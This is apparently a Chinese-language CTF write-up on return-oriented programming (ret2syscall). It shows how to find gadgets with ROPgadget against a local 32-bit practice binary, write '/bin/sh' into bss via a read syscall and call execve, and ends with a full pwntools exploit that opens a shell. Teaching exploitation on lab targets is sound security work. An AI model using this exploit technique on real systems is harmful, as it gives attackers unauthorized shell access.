ROP(Return-Oriented Programming,返回導向編程)是一種利用程序已有代碼片段來執行任意指令的攻擊技術,常用于繞過現代系統的安全機制,尤其是不可執行棧(NX)。
常規檢查一下:
32 位程序,小端序,開啟了 NX 保護
先用 gdb 測一下偏移:
拿到:?
offset = 44
我們 ret2syscall 實際還是希望調用?execve,和 ret2shellcode 類似,只是多了堆棧不可執行?
所有我們先找 pop eax;ret 的地址
ROPgadget --binary ret2sys --only "pop|ret" | grep "eax"
拿到:
pop_eax = 0x080bb2c6
?繼續找另外三個寄存器:
ROPgadget --binary ret2sys --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"ROPgadget --binary
也有,記錄地址:
pop_edx_ecx_ebx = 0x0806ecb0
接下來我們找 /bin/sh 字符串的地址
ROPgadget --binary ret2sys --string "/bin/sh"
沒有找到,因此我們后面需要手動將 /bin/sh 寫到 bss 段
我們先繼續找系統調用:
ROPgadget --binary ret2sys --only "int" | grep 0x80
記錄地址:
int_0x80 = 0x08049421 //這里有點問題,實際地址應該是0x0806F350
接下來我們需要手動寫入 /bin/sh ,找一個具有寫權限的段:
我們就從這個?0x80eb000 開始寫吧
bss_addr = 0x80eb000
我們先系統調用 read,其 32 位系統調用號是 3,即 0x3
payload:
p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)
后面我們會繼續發送內容(/bin/sh)給 read 函數,讀取到?bss_addr
由于棧幀是一次性的,因此我們需要一次性把完整的 ROP 鏈打進去
并且 Linux 下的 int 0x80?系統調用(read)是阻塞型的同步調用
我們繼續調用 execve,其 32 位系統調用號是 11,即 0xb
payload:
p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
最后再發送 /bin/sh 給read函數,完整 exp:
# @author:My6n
# @time:20250507
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./ret2sys')
offset = 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806F350
bss_addr = 0x80eb000
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x20)+p32(bss_addr)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()
沒有問題?